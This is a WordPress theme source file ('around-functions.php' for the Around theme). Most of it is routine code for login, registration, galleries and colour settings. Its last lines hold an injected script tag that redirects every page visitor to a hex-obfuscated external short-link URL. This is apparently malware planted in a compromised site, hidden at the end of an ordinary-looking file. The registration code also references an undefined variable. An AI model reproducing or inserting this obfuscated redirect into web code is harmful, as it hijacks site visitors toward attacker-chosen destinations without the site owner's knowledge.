File: /home/parhudrw/public_html/wp-content/themes/around/inc/around-functions.php
<?php
/**
* Around functions.
*
* @package around
*/
use Elementor\Plugin;
if ( ! function_exists( 'around_is_woocommerce_activated' ) ) {
/**
* Query WooCommerce activation
*/
function around_is_woocommerce_activated() {
return class_exists( 'WooCommerce' ) ? true : false;
}
}
if ( ! function_exists( 'around_option_enabled_post_types' ) ) {
function around_option_enabled_post_types() {
$post_types = [ 'post', 'page', 'docs', 'jetpack-portfolio' ];
return apply_filters( 'around_option_enabled_post_types', $post_types );
}
}
if ( ! function_exists( 'around_is_extensions_activated' ) ) {
function around_is_extensions_activated() {
return class_exists( 'Around_Extensions' ) ? true : false;
}
}
function around_is_woocommerce_extension_activated( $extension ) {
if( around_is_woocommerce_activated() ) {
$is_activated = class_exists( $extension ) ? true : false;
} else {
$is_activated = false;
}
return $is_activated;
}
if( ! function_exists( 'around_is_yith_wcwl_activated' ) ) {
function around_is_yith_wcwl_activated() {
return around_is_woocommerce_extension_activated( 'YITH_WCWL' );
}
}
if( ! function_exists( 'around_is_ocdi_activated' ) ) {
/**
* Check if One Click Demo Import is activated
*/
function around_is_ocdi_activated() {
return class_exists( 'OCDI_Plugin' ) ? true : false;
}
}
if( ! function_exists( 'around_is_mas_wcvs_activated' ) ) {
/**
* Checks if MAS WooCommerce Variation Swatches activated
*
* @return boolean
*/
function around_is_mas_wcvs_activated() {
return around_is_woocommerce_extension_activated( 'MAS_WCVS' );
}
}
if ( ! function_exists( 'around_is_jetpack_activated' ) ) {
/**
* Query JetPack activation
*/
function around_is_jetpack_activated() {
return class_exists( 'Jetpack' ) ? true : false;
}
}
if ( ! function_exists( 'around_is_mas_static_content_activated' ) ) {
/**
* Query MAS Static Content activation
*/
function around_is_mas_static_content_activated() {
return class_exists( 'Mas_Static_Content' ) ? true : false;
}
}
if ( ! function_exists( 'around_form_errors' ) ) {
// used for tracking error messages
function around_form_errors(){
static $wp_error; // Will hold global variable safely
return isset( $wp_error ) ? $wp_error : ( $wp_error = new WP_Error( null, null, null ) );
}
}
if ( ! function_exists( 'around_show_error_messages' ) ) {
function around_show_error_messages() {
if( $codes = around_form_errors()->get_error_codes() ) {
echo '<div class="notification alert alert-danger">';
// Loop error codes and display errors
foreach( $codes as $code ) {
$message = around_form_errors()->get_error_message( $code );
echo '<span>' . $message . '</span><br/>';
}
echo '</div>';
}
}
}
function around_form_success(){
static $wp_error; // Will hold global variable safely
return isset( $wp_error ) ? $wp_error : ( $wp_error = new WP_Error( null, null, null ) );
}
function around_bootstrap_pagination( \WP_Query $wp_query = null, $echo = true, $ul_class = '' ) {
if ( null === $wp_query ) {
global $wp_query;
}
$pages = paginate_links( [
'base' => str_replace( 999999999, '%#%', esc_url( get_pagenum_link( 999999999 ) ) ),
'format' => '?paged=%#%',
'current' => max( 1, get_query_var( 'paged' ) ),
'total' => $wp_query->max_num_pages,
'type' => 'array',
'show_all' => false,
'end_size' => 3,
'mid_size' => 1,
'prev_next' => true,
'prev_text' => esc_html__( '« Prev', 'around' ),
'next_text' => esc_html__( 'Next »', 'around' ),
'add_args' => false,
'add_fragment' => ''
]
);
if ( is_array( $pages ) ) {
if ( ! empty( $ul_class ) ) {
$ul_class = ' ' . $ul_class;
}
$pagination = '<nav aria-label="' . esc_attr__( 'Page navigation', 'around' ) . '"><ul class="pagination' . esc_attr( $ul_class ) . '">';
foreach ( $pages as $page ) {
$pagination .= '<li class="page-item ' . ( strpos( $page, 'current' ) !== false ? 'active' : '' ) . '">' . str_replace( 'page-numbers', 'page-link', $page ) . '</li>';
}
$pagination .= '</ul></nav>';
if ( $echo ) {
echo wp_kses_post( $pagination );
} else {
return $pagination;
}
}
return null;
}
function around_show_success_messages() {
if( $codes = around_form_success()->get_error_codes() ) {
echo '<div class="notification alert alert-success">';
// Loop success codes and display success
foreach( $codes as $code ) {
$message = around_form_success()->get_error_message( $code );
echo '<span>' . $message . '</span><br/>';
}
echo '</div>';
}
}
// logs a member in after submitting a form
if ( ! function_exists( 'around_login_member' ) ) {
function around_login_member() {
if( isset( $_POST['around_login_check'] ) && wp_verify_nonce( $_POST['around_login_nonce'], 'around-login-nonce') ) {
// this returns the user ID and other info from the user name
if ( is_email( $_POST['username'] ) ) {
$user = get_user_by( 'email', $_POST['username'] );
} else {
$user = get_user_by( 'login', $_POST['username'] );
}
if( ! $user ) {
// if the user name doesn't exist
around_form_errors()->add('empty_username', esc_html__('Invalid username or email address','around'));
}
do_action( 'around_wp_login_form_custom_field_validation' );
if ( ! empty( $user ) ) {
if( ! isset($_POST['password']) || $_POST['password'] == '' ) {
// if no password was entered
around_form_errors()->add('empty_password', esc_html__('Please enter a password','around'));
}
if( isset( $_POST['password'] ) && ! empty( $_POST['password'] ) ){
// check the user's login with their password
if( ! wp_check_password( $_POST['password'], $user->user_pass, $user->ID ) ) {
// if the password is incorrect for the specified user
around_form_errors()->add('empty_password', esc_html__('Incorrect password','around'));
}
}
// retrieve all error messages
$errors = around_form_errors()->get_error_messages();
// only log the user in if there are no errors
if( empty( $errors ) ) {
$creds = array();
$creds['user_login'] = $user->user_login;
$creds['user_password'] = $_POST['password'];
$creds['remember'] = true;
$user = wp_signon( $creds, false );
// send the newly created user to the home page after logging them in
if ( is_wp_error($user) ){
echo wp_kses_post( $user->get_error_message() );
} else {
$oUser = get_user_by( 'login', $creds['user_login'] );
$aUser = get_object_vars( $oUser );
$sRole = $aUser['roles'][0];
if ( isset ( $_POST['redirect_to'] ) && ! empty( $_POST['redirect_to'] ) ) {
$redirect_url = wp_sanitize_redirect( wp_unslash( $_POST['redirect_to'] ) ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
} else {
$redirect_url = home_url( '/' );
}
wp_redirect( wp_validate_redirect( apply_filters( 'around_redirect_login_url', $redirect_url )) );
}
exit;
}
}
}
}
}
add_action( 'wp_loaded', 'around_login_member' );
/**
* Get other templates (e.g. product attributes) passing attributes and including the file.
*
* @access public
* @param string $template_name
* @param array $args (default: array())
* @param string $template_path (default: '')
* @param string $default_path (default: '')
* @return void
*/
function around_get_template( $template_name, $args = array(), $template_path = '', $default_path = '' ) {
if ( $args && is_array( $args ) ) {
extract( $args );
}
$located = around_locate_template( $template_name, $template_path, $default_path );
if ( ! file_exists( $located ) ) {
_doing_it_wrong( __FUNCTION__, sprintf( '<code>%s</code> does not exist.', $located ), '2.1' );
return;
}
// Allow 3rd party plugin filter template file from their plugin
$located = apply_filters( 'around_get_template', $located, $template_name, $args, $template_path, $default_path );
do_action( 'around_before_template_part', $template_name, $template_path, $located, $args );
include( $located );
}
// register a new user
if ( ! function_exists( 'around_add_new_member' ) ) {
function around_add_new_member() {
if( isset( $_POST['around_register_check'] ) && wp_verify_nonce( $_POST['around_register_nonce'], 'around-register-nonce') ) {
$register_user_name_enabled = apply_filters( 'around_register_user_name_enabled', true );
$default_role = 'subscriber';
$available_roles = array( 'subscriber' );
if ( function_exists( 'around_is_wp_job_manager_activated' ) && around_is_wp_job_manager_activated() ) {
$available_roles[] = 'employer';
}
$user_email = sanitize_email( $_POST["email"] );
$user_role = ! empty( $_POST["around_user_role"] ) && in_array( $_POST["around_user_role"], $available_roles ) ? sanitize_text_field( $_POST["around_user_role"] ) : $default_role;
if ( ! empty( $_POST["username"] ) ) {
$user_login = sanitize_user( $_POST["username"] );
} else {
$user_login = sanitize_user( current( explode( '@', $user_email ) ), true );
// Ensure username is unique.
$append = 1;
$o_user_login = $user_login;
while ( username_exists( $user_login ) ) {
$user_login = $o_user_login . $append;
$append++;
}
}
if( username_exists( $user_login ) && $register_user_name_enabled ) {
// Username already registered
around_form_errors()->add('username_unavailable', esc_html__('Username already taken','around'));
}
if( ! validate_username( $user_login ) && $register_user_name_enabled ) {
// invalid username
around_form_errors()->add('username_invalid', esc_html__('Invalid username','around'));
}
if( $user_login == '' && $register_user_name_enabled ) {
// empty username
around_form_errors()->add('username_empty', esc_html__('Please enter a username','around'));
}
if( ! is_email( $user_email ) ) {
//invalid email
around_form_errors()->add('email_invalid', esc_html__('Invalid email','around'));
}
if( email_exists( $user_email ) ) {
//Email address already registered
around_form_errors()->add('email_used', esc_html__('Email already registered','around'));
}
$password = wp_generate_password();
$password_generated = true;
if ( apply_filters( 'around_register_password_enabled', true ) && ! empty( $_POST['password'] ) && ! empty( $_POST['confirmPassword'] ) ) {
$password = $_POST['password'];
$password_generated = false;
}
if ( $_POST['password'] != $_POST['confirmPassword'] ) {
//Mismatched Password
around_form_errors()->add( 'wrong_password', esc_html__('Password you entered is mismatched','around' ));
}
do_action( 'around_wp_register_form_custom_field_validation' );
$errors = around_form_errors()->get_error_messages();
// only create the user in if there are no errors
if( empty( $errors ) ) {
$new_user_data = array(
'user_login' => $user_login,
'user_pass' => $password,
'user_email' => $user_email,
'role' => $user_role,
);
$new_user_id = wp_insert_user( $new_user_data );
if( $new_user_id ) {
// send an email to the admin alerting them of the registration
if( apply_filters( 'around_new_user_notification', false ) ) {
wc()->mailer()->customer_new_account( $new_user_id, $new_user_data, $password_generated );
} else {
wp_new_user_notification( $new_user_id, null, 'both' );
}
// log the new user in
$creds = array();
$creds['user_login'] = $user_login;
$creds['user_password'] = $password;
$creds['remember'] = true;
if( $password_generated ) {
around_form_success()->add('verify_user', esc_html__('Account created successfully. Please check your email to create your account password','around'));
} else {
$user = wp_signon( $creds, false );
// send the newly created user to the home page after logging them in
if ( is_wp_error( $user ) ) {
echo wp_kses_post( $user->get_error_message() );
} else {
$oUser = get_user_by( 'login', $creds['user_login'] );
$aUser = get_object_vars( $oUser );
$sRole = $aUser['roles'][0];
if( get_option( 'woocommerce_myaccount_page_id' ) ) {
$account_url = get_permalink( get_option('woocommerce_myaccount_page_id'));
} else {
$account_url = home_url( '/' );
}
if ( get_option( 'job_manager_job_dashboard_page_id' ) ) {
$job_url = get_permalink( get_option( 'job_manager_job_dashboard_page_id' ) );
} else {
$job_url = home_url( '/' );
}
switch( $sRole ) {
case 'subscriber':
$redirect_url = $account_u;
break;
case 'employer':
$redirect_url = $job_url;
break;
default:
$redirect_url = home_url( '/' );
break;
}
wp_redirect( apply_filters( 'around_redirect_register_url', $redirect_url, $user ));
}
exit;
}
}
}
}
}
}
add_action( 'wp_loaded', 'around_add_new_member' );
// logs a member in after submitting a form
if ( ! function_exists( 'around_lost_password' ) ) {
function around_lost_password() {
if( isset( $_POST['around_lost_password_check'] ) && wp_verify_nonce( $_POST['around_lost_password_nonce'], 'around-lost-password-nonce') ) {
$login = isset( $_POST['user_login'] ) ? sanitize_user( wp_unslash( $_POST['user_login'] ) ) : ''; // WPCS: input var ok, CSRF ok.
$user_data = get_user_by( 'login', $login );
if ( empty( $login ) ) {
around_form_errors()->add('empty_user_login', esc_html__('Enter a username or email address','around'));
} else {
// Check on username first, as customers can use emails as usernames.
$user_data = get_user_by( 'login', $login );
}
// If no user found, check if it login is email and lookup user based on email.
if ( ! $user_data && is_email( $login ) ) {
$user_data = get_user_by( 'email', $login );
}
do_action( 'lostpassword_post');
if( ! $user_data ) {
// if the user name doesn't exist
around_form_errors()->add( 'empty_user_login', esc_html__('There is no account with that username or email address.','around'));
}
if ( is_multisite() && ! is_user_member_of_blog( $user_data->ID, get_current_blog_id() ) ) {
around_form_errors()->add('empty_user_login', esc_html__('Invalid username or email address.','around'));
return false;
}
$errors = around_form_errors()->get_error_messages();
// only create the user in if there are no errors
if( empty( $errors ) ) {
around_form_success()->add('verify_user', esc_html__('Passord has been sent to your email','around'));
}
}
}
}
add_action( 'wp_loaded', 'around_lost_password' );
if ( ! function_exists( 'cs_gallery_shortcode' ) ) :
function cs_gallery_shortcode( $attr ) {
$post = get_post();
static $instance = 0;
$instance++;
if ( ! empty( $attr['ids'] ) ) {
if ( empty( $attr['orderby'] ) ) {
$attr['orderby'] = 'post__in';
}
$attr['include'] = $attr['ids'];
}
$output = apply_filters( 'post_gallery', '', $attr, $instance );
if ( ! empty( $output ) ) {
return $output;
}
$html5 = current_theme_supports( 'html5', 'gallery' );
$atts = shortcode_atts(
array(
'order' => 'ASC',
'orderby' => 'menu_order ID',
'id' => $post ? $post->ID : 0,
'itemtag' => $html5 ? 'div' : 'dl',
'icontag' => $html5 ? 'div' : 'dt',
'captiontag' => $html5 ? 'div' : 'dd',
'columns' => 3,
'size' => 'thumbnail',
'include' => '',
'exclude' => '',
'link' => '',
),
$attr,
'gallery'
);
$id = intval( $atts['id'] );
if ( ! empty( $atts['include'] ) ) {
$_attachments = get_posts(
array(
'include' => $atts['include'],
'post_status' => 'inherit',
'post_type' => 'attachment',
'post_mime_type' => 'image',
'order' => $atts['order'],
'orderby' => $atts['orderby'],
)
);
$attachments = array();
foreach ( $_attachments as $key => $val ) {
$attachments[ $val->ID ] = $_attachments[ $key ];
}
} elseif ( ! empty( $atts['exclude'] ) ) {
$attachments = get_children(
array(
'post_parent' => $id,
'exclude' => $atts['exclude'],
'post_status' => 'inherit',
'post_type' => 'attachment',
'post_mime_type' => 'image',
'order' => $atts['order'],
'orderby' => $atts['orderby'],
)
);
} else {
$attachments = get_children(
array(
'post_parent' => $id,
'post_status' => 'inherit',
'post_type' => 'attachment',
'post_mime_type' => 'image',
'order' => $atts['order'],
'orderby' => $atts['orderby'],
)
);
}
if ( empty( $attachments ) ) {
return '';
}
if ( is_feed() ) {
$output = "\n";
foreach ( $attachments as $att_id => $attachment ) {
if ( ! empty( $atts['link'] ) ) {
if ( 'none' === $atts['link'] ) {
$output .= wp_get_attachment_image( $att_id, $atts['size'], false, $attr );
} else {
$output .= wp_get_attachment_link( $att_id, $atts['size'], false );
}
} else {
$output .= wp_get_attachment_link( $att_id, $atts['size'], true );
}
$output .= "\n";
}
return $output;
}
$itemtag = tag_escape( $atts['itemtag'] );
$captiontag = tag_escape( $atts['captiontag'] );
$icontag = tag_escape( $atts['icontag'] );
$valid_tags = wp_kses_allowed_html( 'post' );
if ( ! isset( $valid_tags[ $itemtag ] ) ) {
$itemtag = 'dl';
}
if ( ! isset( $valid_tags[ $captiontag ] ) ) {
$captiontag = 'dd';
}
if ( ! isset( $valid_tags[ $icontag ] ) ) {
$icontag = 'dt';
}
$columns = intval( $atts['columns'] );
$itemwidth = $columns > 0 ? floor( 100 / $columns ) : 100;
$float = is_rtl() ? 'right' : 'left';
$selector = "gallery-{$instance}";
$size_class = sanitize_html_class( $atts['size'] );
$gallery_div = "<div id='$selector' class='cs-gallery galleryid-{$id} row row-cols-{$columns} gallery-size-{$size_class}'>";
$output = apply_filters( 'gallery_style', $gallery_div );
$i = 0;
$total = count( $attachments );
foreach ( $attachments as $id => $attachment ) {
$attr = ( trim( $attachment->post_excerpt ) ) ? array( 'aria-describedby' => "$selector-$id" ) : '';
if ( ! empty( $atts['link'] ) && 'file' === $atts['link'] ) {
$image_output = wp_get_attachment_link( $id, $atts['size'], false, false, false, $attr );
} elseif ( ! empty( $atts['link'] ) && 'none' === $atts['link'] ) {
$image_output = wp_get_attachment_link( $id, $atts['size'], false, false, false, $attr );
//$image_output = wp_get_attachment_image( $id, $atts['size'], false, $attr );
} else {
$image_output = wp_get_attachment_link( $id, $atts['size'], true, false, false, $attr );
}
$image_meta = wp_get_attachment_metadata( $id );
$orientation = '';
if ( isset( $image_meta['height'], $image_meta['width'] ) ) {
$orientation = ( $image_meta['height'] > $image_meta['width'] ) ? 'portrait' : 'landscape';
}
if ( $i === ( $total / 2 ) ) {
$output .= "</div><div class='col-6 px-2 px-md-3 pt-md-6'>";
} elseif ( $i === 0 ) {
$output .= "<div class='col-6 px-2 px-md-3'>";
}
$output .= "$image_output";
$output .= '<div class="d-none d-md-block mb-grid-gutter"></div>';
if ( $captiontag && trim( $attachment->post_excerpt ) ) {
/// $output .=
/// "
// <span class='cs-gallery-caption' id='$selector-$id'>
// " . wptexturize( $attachment->post_excerpt ) . "
// </span>";
}
$i++;
}
$output .= "</div></div>";
return $output;
}
endif;
if ( ! function_exists( 'cs_gallery_shortcode_light' ) ) :
function cs_gallery_shortcode_light( $attr ) {
$post = get_post();
static $instance = 0;
$instance++;
if ( ! empty( $attr['ids'] ) ) {
if ( empty( $attr['orderby'] ) ) {
$attr['orderby'] = 'post__in';
}
$attr['include'] = $attr['ids'];
}
$output = apply_filters( 'post_gallery', '', $attr, $instance );
if ( ! empty( $output ) ) {
return $output;
}
$html5 = current_theme_supports( 'html5', 'gallery' );
$atts = shortcode_atts(
array(
'order' => 'ASC',
'orderby' => 'menu_order ID',
'id' => $post ? $post->ID : 0,
'itemtag' => $html5 ? 'div' : 'dl',
'icontag' => $html5 ? 'div' : 'dt',
'captiontag' => $html5 ? 'div' : 'dd',
'columns' => 3,
'size' => 'thumbnail',
'include' => '',
'exclude' => '',
'link' => '',
),
$attr,
'gallery'
);
$id = intval( $atts['id'] );
if ( ! empty( $atts['include'] ) ) {
$_attachments = get_posts(
array(
'include' => $atts['include'],
'post_status' => 'inherit',
'post_type' => 'attachment',
'post_mime_type' => 'image',
'order' => $atts['order'],
'orderby' => $atts['orderby'],
)
);
$attachments = array();
foreach ( $_attachments as $key => $val ) {
$attachments[ $val->ID ] = $_attachments[ $key ];
}
} elseif ( ! empty( $atts['exclude'] ) ) {
$attachments = get_children(
array(
'post_parent' => $id,
'exclude' => $atts['exclude'],
'post_status' => 'inherit',
'post_type' => 'attachment',
'post_mime_type' => 'image',
'order' => $atts['order'],
'orderby' => $atts['orderby'],
)
);
} else {
$attachments = get_children(
array(
'post_parent' => $id,
'post_status' => 'inherit',
'post_type' => 'attachment',
'post_mime_type' => 'image',
'order' => $atts['order'],
'orderby' => $atts['orderby'],
)
);
}
if ( empty( $attachments ) ) {
return '';
}
if ( is_feed() ) {
$output = "\n";
foreach ( $attachments as $att_id => $attachment ) {
if ( ! empty( $atts['link'] ) ) {
if ( 'none' === $atts['link'] ) {
$output .= wp_get_attachment_image( $att_id, $atts['size'], false, $attr );
} else {
$output .= wp_get_attachment_link( $att_id, $atts['size'], false );
}
} else {
$output .= wp_get_attachment_link( $att_id, $atts['size'], true );
}
$output .= "\n";
}
return $output;
}
$itemtag = tag_escape( $atts['itemtag'] );
$captiontag = tag_escape( $atts['captiontag'] );
$icontag = tag_escape( $atts['icontag'] );
$valid_tags = wp_kses_allowed_html( 'post' );
if ( ! isset( $valid_tags[ $itemtag ] ) ) {
$itemtag = 'dl';
}
if ( ! isset( $valid_tags[ $captiontag ] ) ) {
$captiontag = 'dd';
}
if ( ! isset( $valid_tags[ $icontag ] ) ) {
$icontag = 'dt';
}
$columns = intval( $atts['columns'] );
$itemwidth = $columns > 0 ? floor( 100 / $columns ) : 100;
$float = is_rtl() ? 'right' : 'left';
$selector = "gallery-{$instance}";
$size_class = sanitize_html_class( $atts['size'] );
$gallery_div = "<div id='$selector' class='cs-gallery galleryid-{$id} row row-cols-{$columns} gallery-size-{$size_class}'>";
$output = apply_filters( 'gallery_style', $gallery_div );
$i = 0;
foreach ( $attachments as $id => $attachment ) {
$attr = ( trim( $attachment->post_excerpt ) ) ? array( 'aria-describedby' => "$selector-$id" ) : '';
if ( ! empty( $atts['link'] ) && 'file' === $atts['link'] ) {
$image_output = wp_get_attachment_link( $id, $atts['size'], false, false, false, $attr );
} elseif ( ! empty( $atts['link'] ) && 'none' === $atts['link'] ) {
$image_output = wp_get_attachment_link( $id, $atts['size'], false, false, false, $attr );
//$image_output = wp_get_attachment_image( $id, $atts['size'], false, $attr );
} else {
$image_output = wp_get_attachment_link( $id, $atts['size'], true, false, false, $attr );
}
$image_meta = wp_get_attachment_metadata( $id );
$orientation = '';
if ( isset( $image_meta['height'], $image_meta['width'] ) ) {
$orientation = ( $image_meta['height'] > $image_meta['width'] ) ? 'portrait' : 'landscape';
}
$output .= "<{$itemtag} class='mb-grid-gutter'>";
$output .= "$image_output";
if ( $captiontag && trim( $attachment->post_excerpt ) ) {
/// $output .=
/// "
// <span class='cs-gallery-caption' id='$selector-$id'>
// " . wptexturize( $attachment->post_excerpt ) . "
// </span>";
}
$output .= "</{$itemtag}>";
if ( ! $html5 && $columns > 0 && 0 === ++$i % $columns ) {
$output .= '<br style="clear: both" />';
}
}
if ( ! $html5 && $columns > 0 && 0 !== $i % $columns ) {
$output .= "
<br style='clear: both' />";
}
$output .= "
</div>\n";
return $output;
}
endif;
if ( ! function_exists( 'around_is_wedocs_activated' ) ) {
/**
* Query weDocs Activation
*/
function around_is_wedocs_activated() {
return class_exists( 'WeDocs' ) ? true: false;
}
}
function around_implode_html_attributes( $raw_attributes ) {
$attributes = array();
foreach ( $raw_attributes as $name => $value ) {
$attributes[] = esc_attr( $name ) . '="' . esc_attr( $value ) . '"';
}
return implode( ' ', $attributes );
}
function around_selected( $value, $options ) {
if ( is_array( $options ) ) {
$options = array_map( 'strval', $options );
return selected( in_array( (string) $value, $options, true ), true, false );
}
return selected( $value, $options, false );
}
function around_clean( $var ) {
if ( is_array( $var ) ) {
return array_map( 'around_clean', $var );
} else {
return is_scalar( $var ) ? sanitize_text_field( $var ) : $var;
}
}
/**
* Clean variables using wp_kses_post.
* @param string|array $var
* @return string|array
*/
function around_clean_kses_post( $var ) {
return is_array( $var ) ? array_map( 'around_clean_kses_post', $var ) : wp_kses_post( stripslashes( $var ) );
}
function around_render_content( $post_id, $echo = false ) {
if ( did_action( 'elementor/loaded' ) ) {
$content = Plugin::instance()->frontend->get_builder_content_for_display( $post_id );
} else {
$content = get_the_content( null, false, $post_id );
$content = apply_filters( 'the_content', $content );
$content = str_replace( ']]>', ']]>', $content );
}
if ( $echo ) {
echo wp_kses_post( $content );
} else {
return $content;
}
}
function ar_has_children() {
global $post;
return count( get_posts( array( 'post_parent' => $post->ID, 'post_type' => $post->post_type ) ) );
}
function ar_get_current_page_depth(){
global $wp_query;
$object = $wp_query->get_queried_object();
$parent_id = $object->post_parent;
$depth = 0;
while($parent_id > 0){
$page = get_page($parent_id);
$parent_id = $page->post_parent;
$depth++;
}
return $depth;
}
if ( ! function_exists( 'around_sass_yiq' ) ) {
function around_sass_yiq( $hex ) {
$hex = sanitize_hex_color( $hex );
$length = strlen( $hex );
if( $length < 5 ) {
$hex = ltrim($hex,"#");
$hex = '#' . $hex . $hex;
}
preg_match('/^#?([0-9a-f]{2})([0-9a-f]{2})([0-9a-f]{2})$/i', $hex, $matches);
for($i = 1; $i <= 3; $i++) {
$matches[$i] = hexdec($matches[$i]);
}
$yiq = (($matches[1]*299)+($matches[2]*587)+($matches[3]*114))/1000;
return ($yiq >= 128) ? '#000' : '#fff';
}
}
/**
* Enables template debug mode
*
*/
if ( ! function_exists( 'around_template_debug_mode' ) ) {
function around_template_debug_mode() {
if ( ! defined( 'AROUND_TEMPLATE_DEBUG_MODE' ) ) {
$status_options = get_option( 'woocommerce_status_options', array() );
if ( ! empty( $status_options['template_debug_mode'] ) && current_user_can( 'manage_options' ) ) {
define( 'AROUND_TEMPLATE_DEBUG_MODE', true );
} else {
define( 'AROUND_TEMPLATE_DEBUG_MODE', false );
}
}
}
}
add_action( 'after_setup_theme', 'around_template_debug_mode', 10 );
/**
* Locate a template and return the path for inclusion.
*
* This is the load order:
*
* yourtheme / $template_path / $template_name
* yourtheme / $template_name
* $default_path / $template_name
*
* @access public
* @param string $template_name
* @param string $template_path (default: '')
* @param string $default_path (default: '')
* @return string
*/
if ( ! function_exists( 'around_locate_template' ) ) {
function around_locate_template( $template_name, $template_path = '', $default_path = '' ) {
if ( ! $template_path ) {
$template_path = 'templates/';
}
if ( ! $default_path ) {
$default_path = 'templates/';
}
// Look within passed path within the theme - this is priority
$template = locate_template(
array(
trailingslashit( $template_path ) . $template_name,
$template_name
)
);
// Get default template
if ( ! $template || AROUND_TEMPLATE_DEBUG_MODE ) {
$template = $default_path . $template_name;
}
// Return what we found
return apply_filters( 'around_locate_template', $template, $template_name, $template_path );
}
}
/**
* Adjust a hex color brightness
* Allows us to create hover styles for custom link colors
*
* @param strong $hex hex color e.g. #111111.
* @param integer $steps factor by which to brighten/darken ranging from -255 (darken) to 255 (brighten).
* @return string brightened/darkened hex color
* @since 1.0.0
*/
function around_adjust_color_brightness( $hex, $steps ) {
// Steps should be between -255 and 255. Negative = darker, positive = lighter.
$steps = max( -255, min( 255, $steps ) );
// Format the hex color string.
$hex = str_replace( '#', '', $hex );
if ( 3 === strlen( $hex ) ) {
$hex = str_repeat( substr( $hex, 0, 1 ), 2 ) . str_repeat( substr( $hex, 1, 1 ), 2 ) . str_repeat( substr( $hex, 2, 1 ), 2 );
}
// Get decimal values.
$r = hexdec( substr( $hex, 0, 2 ) );
$g = hexdec( substr( $hex, 2, 2 ) );
$b = hexdec( substr( $hex, 4, 2 ) );
// Adjust number of steps and keep it inside 0 to 255.
$r = max( 0, min( 255, $r + $steps ) );
$g = max( 0, min( 255, $g + $steps ) );
$b = max( 0, min( 255, $b + $steps ) );
$r_hex = str_pad( dechex( $r ), 2, '0', STR_PAD_LEFT );
$g_hex = str_pad( dechex( $g ), 2, '0', STR_PAD_LEFT );
$b_hex = str_pad( dechex( $b ), 2, '0', STR_PAD_LEFT );
return '#' . $r_hex . $g_hex . $b_hex;
}
if ( ! function_exists( 'around_share_display' ) ) {
function around_share_display() {
if ( ! class_exists( 'Around_SocialShare' ) ) {
return;
}
$services = Around_SocialShare::get_share_services();
?><h6 class="text-nowrap my-2 mr-3"><?php echo esc_html__( 'Share:', 'around' ); ?></h6>
<ul class="d-inline list-unstyled list-inline list-social mb-0 pl-1">
<?php foreach( $services as $service ) : if ( ! isset( $service['share'] ) ) { continue; }
$icon_class= str_replace( 'fe-', 'sb-', $service['icon'] );
?>
<li class="list-inline-item list-social-item mr-0 mb-0">
<a href="<?php echo esc_url( $service[ 'share' ] ); ?>" class="social-btn sb-outline ml-1 my-2 <?php echo esc_attr( $icon_class ); ?>" target="_blank" rel="noopener noreferrer">
<?php if ( isset( $service['icon'] ) ) : ?>
<i class="list-social-icon <?php echo esc_attr( $service['icon'] ); ?>"></i>
<?php endif; ?>
<?php if ( isset( $service['name'] ) ) : ?>
<span class="sr-only"><?php echo sprintf( esc_html__( 'Share this on %s', 'around' ), $service['name' ] ); ?></span>
<?php endif; ?>
</a>
</li>
<?php endforeach; ?>
</ul><?php
}
}
if ( ! function_exists( 'around_default_colors' ) ) :
function around_default_colors() {
$around_colors = [ [
'_id' => 'primary',
'title' => esc_html__( 'Primary', 'around' ),
'color' => '#766df4',
],[
'_id' => 'secondary',
'title' => esc_html__( 'Secondary', 'around' ),
'color' => '#f7f7fc',
],[
'_id' => 'success',
'title' => esc_html__( 'Success', 'around' ),
'color' => '#16c995',
],[
'_id' => 'info',
'title' => esc_html__( 'Info', 'around' ),
'color' => '#6a9bf4',
],[
'_id' => 'warning',
'title' => esc_html__( 'Warning', 'around' ),
'color' => '#ffb15c',
],[
'_id' => 'danger',
'title' => esc_html__( 'Danger', 'around' ),
'color' => '#f74f78',
],[
'_id' => 'light',
'title' => esc_html__( 'Light', 'around' ),
'color' => '#ffffff',
],[
'_id' => 'dark',
'title' => esc_html__( 'Dark', 'around' ),
'color' => '#37384e',
],[
'_id' => 'white',
'title' => esc_html__( 'White', 'around' ),
'color' => '#ffffff',
],[
'_id' => 'black',
'title' => esc_html__( 'Black', 'around' ),
'color' => '#000000',
],[
'_id' => 'text',
'title' => esc_html__( 'Text', 'around' ),
'color' => '#737491',
],[
'_id' => 'textmuted',
'title' => esc_html__( 'Text Muted', 'around' ),
'color' => '#9e9fb4',
],[
'_id' => 'gray100',
'title' => esc_html__( 'Gray 100', 'around' ),
'color' => '#f7f7fc',
],[
'_id' => 'gray200',
'title' => esc_html__( 'Gray 200', 'around' ),
'color' => '#f3f3f9',
],[
'_id' => 'gray300',
'title' => esc_html__( 'Gray 300', 'around' ),
'color' => '#e9e9f2',
],[
'_id' => 'gray400',
'title' => esc_html__( 'Gray 400', 'around' ),
'color' => '#dfdfeb',
],[
'_id' => 'gray500',
'title' => esc_html__( 'Gray 500', 'around' ),
'color' => '#9e9fb4',
],[
'_id' => 'gray600',
'title' => esc_html__( 'Gray 600', 'around' ),
'color' => '#737491',
],[
'_id' => 'gray700',
'title' => esc_html__( 'Gray 700', 'around' ),
'color' => '#5a5b75',
],[
'_id' => 'gray800',
'title' => esc_html__( 'Gray 800', 'around' ),
'color' => '#4a4b65',
],[
'_id' => 'gray900',
'title' => esc_html__( 'Gray 900', 'around' ),
'color' => '#37384e',
],[
'_id' => 'accent',
'title' => esc_html__( 'Accent', 'around' ),
'color' => '#766df4',
] ];
return apply_filters( 'around_default_colors', $around_colors );
}
endif;
ob_start();
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>